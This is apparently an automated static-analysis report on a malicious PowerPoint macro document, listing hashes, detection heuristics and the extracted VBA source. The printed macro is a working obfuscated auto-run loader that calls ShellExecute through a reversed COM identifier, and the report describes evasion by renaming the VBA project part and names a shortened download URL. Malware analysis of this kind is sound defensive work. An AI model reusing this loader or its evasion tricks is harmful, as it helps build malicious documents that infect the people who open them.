Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 04c0b4ce5904e208…

MALICIOUS

Office (OOXML)

11.0 KB First seen: 2021-05-29
MD5: 80cd63f1fcf023794b1537963a1cf090 SHA-1: 369fa021379741f90a8fd1bfae05a14ed8300447 SHA-256: 04c0b4ce5904e2081ab120711e6987fb598688a0c126784ed402fbef8b73de12
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This OOXML document contains obfuscated VBA macros designed to execute a payload. The Auto_Open macro utilizes GetObject and ShellExecute to achieve execution, likely downloading and running a second-stage payload. The obfuscation and use of standard Windows scripting objects suggest a downloader or initial access tool.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/vbsddsdt.bin)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    . _
    ShellExecute _
    x0 _
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    = _
    GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
    End _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub _
    Auto_Open _
    ()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.j.mp/ajsdaasdasdasdasddijjsd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 969 bytes
SHA-256: b69fbf4e7ca4d914e9417d7558b55e25f80f6f398f006a8260ec6e1c2303d5d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "calo"

Sub _
Auto_Open _
()
Dim _
lol _
As _
New _
m


lol _
. _
p _
. _
ShellExecute _
x0 _
. _
x1 _
. _
Tag _
, _
x0 _
. _
x1 _
. _
ControlTipText
End _
Sub


Attribute VB_Name = "x0"
Attribute VB_Base = "0{886ED98A-69F4-4966-909A-50E2A147D6D3}{38C5D0FF-BAAE-4EEB-9BF2-630788173CED}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "m"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function _
p _
()
Set _
p _
= _
GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
End _
Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbsddsdt.bin 24064 bytes
SHA-256: a499ea7fadfdce7270cc5d622ac4ec7d05b378e9b8c2f87ce8e85a80552856f4